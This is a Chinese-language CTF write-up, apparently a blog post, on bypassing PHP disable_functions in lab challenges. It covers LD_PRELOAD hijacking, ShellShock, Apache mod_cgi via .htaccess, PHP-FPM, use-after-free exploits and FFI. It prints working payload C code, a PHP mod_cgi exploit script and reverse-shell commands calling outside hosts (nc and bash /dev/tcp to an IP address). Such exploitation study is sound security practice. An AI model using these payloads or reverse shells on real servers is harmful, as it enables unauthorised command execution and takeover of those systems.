LD_PRELOAD
首先我们需要了解LD_PRELOAD这个环境变量,这里有两篇文章可以参考:
警惕UNIX下的LD_PRELOAD环境变量
利用环境变量LD_PRELOAD来绕过php%20disable_function
读完之后就会对LD_PRELOAD这个环境变量有所了解,知道了它是干什么的,但是对于如何利用还不太清楚。
利用这个环境变量的话,可以使用这些函数:
- putenv()
- error_log()
- mail()
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
putenv()用来改变或增加环境变量的内容. 参数string 的格式为name=value, 如果该环境变量原先存在,
则变量内容会依参数string 改变, 否则此参数内容会成为新的环境变量.
至于mail函数,就是发送邮件。
简单的来说,我们这里的利用方式,就是利用mail函数发送邮件时,会用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的了。
sendmail执行的时候调用了哪些函数呢?有这些等:
我们尝试利用LD_PRELOAD这个环境变量动态链接重载getegid这个函数,构造如何:
#include<stdlib.h>
#include <stdio.h>
#include<string.h>
void payload(){
system("cat /flag > feng.txt");
}
int geteuid(){
if(getenv("LD_PRELOAD") == NULL) {
return 0; }
unsetenv("LD_PRELOAD");
payload();
}
将文件命名为hack.c。然后执行下面的命令生成hack.so:
gcc -shared -fPIC hack.c -o hack.so
需要注意的是,要在linux执行,这样产生的hack.so才是正确的。
之后把hack.so放进tmp/里:
之后,就要想办法利用LD_PRELOAD来链接它了,然后利用mail函数。因此写一个feng.php:
<?php
putenv("LD_PRELOAD=/tmp/hack.so");
mail("","","","");
?>
接下来有2种方式,一种是直接访问feng.php,还有一种是包含feng.php:
?ant=include('feng.php');
这时候去看/tmp/目录,发现里面并没有生成feng.txt。这时候就要想想用其他方式了。
首先是mail这个函数。我们再去phpinfo()里看看,发现disable_function有了mail函数,因此mail函数被禁用,但是error_log函数没被禁用,因此换成error_log函数:
<?php
putenv("LD_PRELOAD=/tmp/hack.so");
mail("","","","");
error_log("",1,"","");
?>
再进行尝试,发现产生了feng.txt,但是里面的内容为空:
猜测是不是cat命令的问题,这里尝试使用使用其他命令:
#include<stdlib.h>
#include <stdio.h>
#include<string.h>
void payload(){
system("echo 1 >> /tmp/feng.txt");
system("cat /flag >> /tmp/feng.txt");
system("echo 2 >> /tmp/feng.txt");
system("tac /flag >> /tmp/feng.txt");
system("echo 3 >> /tmp/feng.txt");
system("more /flag >> /tmp/feng.txt");
system("echo 4 >> /tmp/feng.txt");
system("head -n 10 /flag >> /tmp/feng.txt");
system("echo 5 >> /tmp/feng.txt");
system("tail -n 10 /flag >> /tmp/feng.txt");
system("echo 6 >> /tmp/feng.txt");
system("/readflag >> /tmp/feng.txt");
}
int geteuid(){
if(getenv("LD_PRELOAD") == NULL) {
return 0; }
unsetenv("LD_PRELOAD");
payload();
}
再经过上面的操作,得到如下结果:
说明第二个和第六个成功读取了flag。
说明一下第六个,/readflag是一个读取flag的文件,因为有的题目把flag和readflag文件放在一起,但是不能直接读取flag,需要借助readflag来读取flag。因此我们在cat读不到flag的时候,可以尝试其他读取文件的命令,也可以试试根目录下是不是有/readflag文件。
但是,这还是比较依赖sendmail命令的。系统中可能没有启用sendmail甚至没有安装,因此这样的方法局限性太大。因此我们应该考虑不是劫持某个函数,而应考虑劫持共享对象。
回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了。
这种场景与 C++ 的构造函数简直神似!几经搜索后了解到,GCC 有个 C 语言扩展修饰符
attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 attribute((constructor))
修饰的函数。
因此上面的hack.c我们可以这样写:
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/feng.txt");
}
其他的操作不变,这样就可以不必依赖于sendmail了。
具体可以参考这篇文章,我觉得写的很不错:
绕过php的disable_functions(上篇)
ShellShock
做题前需要了解的知识:
什么是ShellShock攻击?
bypass disable_function的方法及蚁剑插件bypass-php-function使用
了解了ShellShock后,我们已经知道,想利用这个点,需要三步:
- 产生新的bash
- 通过环境变量传递
- 环境变量以() {}这样的形式
这时候我第一想法就是老老实实的蚁剑连,然后进终端进行操作。但是我发现权限不够,设置环境变量,启用bash等这些命令都无法执行。
这时候我们可以参考上一题的方式,利用PHP的putenv函数设置环境变量,这样环境变量就设好了。怎么产生新的bash呢?
根据02 利用 ShellShock (CVE-2014-6271)中的这个:
首先,/bin/bash 要存在 CVE-2014-6271 漏洞。其次,需要/bin/sh -> /bin/bash sh 默认的 shell 是 bash。error_log函数正好执行了sh,因此可以用来触发shellshock漏洞。因此我们先在目录下创建一个shell.php文件,写入如下内容:
然后访问shell.php,就会生成feng.txt,flag就在里面了:
还需要注意的是,putenv里的环境变量,()和{中间必须有空格,而且{和:中间也必须有空格,不然就会出错。
Apache Mod CGI
做题前的知识点仍然可以参考上面链接的文章。
总来来说,利用apache mod cgi需要以下条件:
第一,必须是apache环境
第二,mod_cgi已经启用
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
第四,必须有权限写.htaccess文件
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。
如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。
做法有两种,要么直接利用蚁剑的插件,要么手动实现。
用蚁剑的插件就非常简单了,直接这样:
点击开始后,.htaccess文件就修改好了,写了命令的文件也弄好了。然后会自动打开终端,就可以随性所欲的执行系统命令了:
用工具还是很舒服的。但是手动的话就有很多问题需要注意。
首先写一个.htaccess,内容如下:
Options +ExecCGI
AddHandler cgi-script .feng
Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用。Options指令的主要作用是控制特定目录将启用哪些服务器特性。
我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本
第二行命令的含义就是以.feng为后缀的文件都会cgi脚本进行处理。
然后,我们就需要写一个shell.feng,名字可以任意取,但是后缀必须是.feng。内容如下:
#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
echo&ls
直接执行命令好像可以不需要第二行,但是如果是shell反弹就需要有第二行,不然会出现500:
正常这时候我们就可以执行任意的命令了,但是我发现我还是500。但是用插件或者下面的exp就可以成功,我看看了,他们产生的.htaccess和执行命令的文件和我的一样,但是我的不行它们的可以。很迷。。
其实可以直接利用已有的exp,内容如下:
<?php
$cmd = "nc -c '/bin/bash' 10.11.12.13 8888"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>
命名成feng.php,然后扔到backdoor/目录下面,再直接访问feng.php。会在目录下生成shell.dizzle。再访问shell.dizzle就可以成功反弹shell。
但是这时候我发现并不能成功反弹shell。我尝试把第三行反弹shell的命令换成了换成了bash -i >& /dev/tcp/122.232.162.118/39001 0>&1
,再访问shell.dizzle,成功反弹shell:
反弹shell成功后我使用一下nc命令:
原来环境里没有nc,怪不得不能执行。
PHP-FPM
做题前需要了解的知识:
Nginx+Php-fpm 运行原理详解
攻击PHP-FPM 实现Bypass Disable Functions
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
这题直接用蚁剑插件直接秒就可以了:
GC UAF
接下来的这些原理就不解释了。。因为自己太菜看不太懂。。。但是我会用工具!
直接用蚁剑插件就可以了。
手工的话,exp如下:
exp
自己可以手动改一下,把
里面换成get参数,然后手动get参数传入命令就可以了。
Json Serializer UAF
蚁剑直接秒。。。。
手工exp如下:
exp
这题的exp和上题一样,也可以自己做修改。
Backtrace UAF
蚁剑,永远滴神。。。
exp:exp
FFI 扩展
做题前知识点的了解:
PHP FFI详解 - 一种全新的PHP扩展方式
蚁剑直接秒。。。。
手工的代码如下:
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami > /tmp/123");
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");
FFI::cdef用于说明函数的原型,然后把参数传进去。
然后直接访问就可以得到flag: